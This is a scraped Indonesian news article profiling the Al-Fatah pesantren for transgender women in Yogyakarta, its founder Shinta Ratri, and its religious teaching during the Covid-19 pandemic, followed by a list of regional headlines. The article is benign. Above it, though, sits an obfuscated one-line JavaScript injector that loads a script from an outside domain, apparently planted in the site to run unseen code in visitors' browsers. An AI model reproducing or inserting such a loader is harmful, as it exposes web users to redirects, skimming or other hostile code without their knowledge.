(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Khasanah

Bangun Ponpes Waria Al-Fatah, Shinta Ingin Transpuan Tetap Ingat Tuhan


KANALKALIMANTAN.COM – Gemercik air yang tumpah di sebuah guci pada siang itu menjadi pemecah keheningan Ponpes Waria Al-Fatah Yogyakarta. Lokasi yang bertempat di perbatasan Kota Yogyakarta dan Bantul tersebut merupakan jujugan waria yang masih berkeyakinan bahwa Tuhan adalah Dzat yang bisa menunjukkan jalan terang untuk kehidupan mereka.

Masuk ke dalam Ponpes tersebut hanya bisa dilewati sepeda motor. Warga yang ingin berkunjung harus melintasi gang sempit dengan berjalan kaki atau mengendarai sepeda motor.

Ornamen pintu dengan ukiran Jawa berwarna hijau merupakan hal pertama kali yang terlihat ketika memasuki rumah yang disulap untuk kegiatan agama dan pembelajaran waria di Yogayakarta ini. Tikar panjang digelar saat sejumlah wartawan meminta izin berbincang dengan pengelola ponpes tersebut.

Shinta Ratri, transpuan yang juga Ketua Ponpes Waria Al-Fatah Yogyakarta itu dengan ramah mempersilakan kami masuk. Menunggu lebih kurang 10 menit, Shinta Ratri muncul dengan memberikan sebuah buku tamu untuk diisi.

Ponpes yang secara geografis terletak di Banguntapan, Bantul ini nampak sepi akibat tidak adanya aktivitas lantaran Covid-19. Seluruh aktivitas berupa pengajian dan pembahasan agama lain dilakukan secara daring.

“Sekarang aktivitasnya kami batasi, mengingat kondisi seperti ini mau tidak mau harus mengikuti anjuran pemerintah. Potensi berkumpul dalam satu tempat bisa menimbulkan penularan virus nantinya,” ungkap Shinta Ratri ditemui di ponpes miliknya, Senin (8/6/2020).

Kegiatan agama, lanjut Shinta dilakukan pada hari Minggu dan Senin. Hari Minggu untuk pembelajaran Al-Quran sementara Senin untuk waria yang masih dalam tahap pembacaan iqro’.

“Tak dipungkiri memang kami masih banyak belajar. Aktivitas sebelum ada wabah, tiap Minggu dan Senin tempat ini selalu ramai dengan pembelajaran agama. Sekarang aktivitasnya dilakukan secara daring,” jelas Shinta.

Ponpes yang dibangun pada 2014 ini telah memiliki 42 santri. Mereka secara intensif berusaha untuk bisa berbaur dengan masyarakat termasuk mengisi ilmu agama dan juga pengetahuan.

“Bagi saya mereka ini tidak bisa memilih untuk menjadi pria atau wanita. Jadi dia lahir sebagai laki-laki namun memiliki kodrat sebagai perempuan. Beberapa orang atau keluarga tidak bisa menerima dengan keadaan mereka sehingga para waria ini memilih pergi. Konflik ini yang berbahaya, dia kehilangan banyak termasuk budi pekerti mungkin, dan terutama kehilangan agama. Maka dari itu saya membangun ponpes ini agar mereka tetap pada jalur agama yang mereka anut,” ungkap dia.

Stigma sebagai transgender sudah melekat pada masing-masing santri dan tak banyak orang yang memahami keadaan mereka. Meskipun mereka belajar agama sekalipun masih ada pandangan lain bahkan negatif dari masyarakat.

“Hal itu tak bisa dipungkiri masih ada stigma yang memandang berbeda tentang kami. Namun dari komunitas yang ada di ponpes ini kami terus mendorong mereka untuk berakhlak dan berbaur dengan warga lainnya. Hal itu pasti sulit. Namun ketika berlaku baik di lingkungan tempat kita hidup, banyak hal yang bisa menerima kami apa adanya,” terang dia.

Pelajaran agama yang dibahas bermacam-macam. Mulai dari Fiqih, Bulughal Maram serta pelajaran agama lain.

“Kami mendapat pelajaran untuk menguatkan agama kami masing-masing. Waria yang berkeyakinan muslim dibimbing oleh enam ustad yang secara bergantian mengisi materi,” kata dia.

Shinta menjelaskan, waria berkeyakinan Kristen-Katolik juga mendapat bimbingan keagamaan. Ia menuturkan sejak satu tahun lalu pihaknya telah bekerjasama dengan Universitas Kristen Duta Wacana (UKDW).

“Ada empat orang yang berkeyakinan Kristen-Katolik. Mereka sudah setahun ini mengikuti bimbingan keagamaan bersama UKDW. Mereka juga diarahkan menjadi pastor nantinya,” jelas dia.

Berbaur dengan masyarakat menjadi hal utama yang selalu digaungkan di ponpes tersebut. Shinta menuturkan setiap Sabtu sore, ketika belum ada Covid-19, warga sekitar kerap diundang untuk belajar bersama. Mulai dari berbahasa inggris, cara memasak hingga merias.

“Harapannya ini menjadi hasil baik untuk kami. Walaupun membutuhkan waktu yang cukup lama untuk mengubah stigma tersebut,” kata dia.

Kondisi ponpes saat ini hanya ditempati oleh empat orang waria. Shinta mengaku pandemi covid-19 membuat penghuni lainnya beraktivitas lebih giat untuk kebutuhan hidup, termasuk santri-santri yang kebanyakan bekerja di salon, bahkan pengamen.

“Pandemi kali ini jelas mengurangi pendapatan mereka. Apalagi yang membuka salon, saat ini sangat sepi sekali. Maka dari itu, kami juga memberi bantuan kepada 130 waria termasuk kepada 42 santri kami,” terang Shinta.

Shinta tak memungkiri bahwa mengubah pandangan masyarakat akan teras sulit. Apalagi dengan budaya yang dianut di Indonesia saat ini. Namun begitu ia berharap para santrinya memiliki keyakinan kuat terhadap agamanya sehingga mampu menjaga dan memahami yang baik dan buruk untuk mereka. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

2 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

2 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

4 jam ago

Soal Surat Suara Pilwali Banjarbaru, Tak Ada Teknis Jelas dari KPU

KANALKALIMANTAN.COM, BANJARBARU - Kurang satu pekan menjelang hari pencoblosan Pilkada Serentak 2024, Komisi Pemilihan Umum… Read More

5 jam ago

Belasan Kios Pasar A Yani Pengambangan Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah kios pedagang di pasar tradisional A Yani Banjarmasin hangus akibat kebakaran.… Read More

9 jam ago

Narkoba 79,3 Kg Sabu Dimusnahkan, Jaringan Fredy Pratama Pakai Jalur Darat

KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) melalui Direktorat Reserse Narkoba (Ditresnarkoba) gagalkan… Read More

23 jam ago

This website uses cookies.